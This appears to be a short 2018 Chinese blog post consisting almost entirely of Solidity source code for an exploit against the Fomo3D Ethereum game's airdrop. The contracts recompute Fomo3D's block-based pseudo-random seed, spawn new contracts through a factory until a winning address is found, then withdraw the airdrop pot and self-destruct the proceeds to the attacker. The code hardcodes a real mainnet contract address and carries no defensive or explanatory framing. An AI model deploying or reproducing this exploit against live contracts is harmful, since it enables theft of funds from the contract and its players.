Fomo3D-利用空投
2018-09-06 本文已影响0人
旧时的荣耀
pragma solidity 0.4.24;
// Interface for the airdrop functions
interface FOMO3DInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
// A factory to create copies of the exploit contract
contract ExploitFactory {
function createExploit(address attacker) public returns(ExploitFOMO newExploit) {
return new ExploitFOMO(address(this), attacker);
}
}
// A convenient way to execute the exploit
contract FOMOExploitExecuter {
ExploitFactory public factory;
function setFactory(address factoryAddress) public {
factory = ExploitFactory(factoryAddress);
}
function execute() public payable {
// skip any invariant checks to save gas
ExploitFOMO start = new ExploitFOMO(factory, msg.sender);
}
}
// The actual exploit
contract ExploitFOMO {
constructor(address factoryAddress, address attacker) public payable {
// Get the exploit factory
ExploitFactory factory = ExploitFactory(factoryAddress);
// Get the FOMO3D contract
FOMO3DInterface fomo3d = FOMO3DInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
// Calculate whether this transaction wins. This formula is the same as in the FOMO3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(address(this))))) / (now)) +
(block.number)
)));
uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) >= tracker) {
//We lost, so create a new contract and try again
factory.createExploit(attacker);
selfdestruct(attacker); // send any leftover ether to the attacker
}
address(fomo3d).call.value(msg.value)();
fomo3d.withdraw();
selfdestruct(attacker); // send the winnings to the attacker
}
}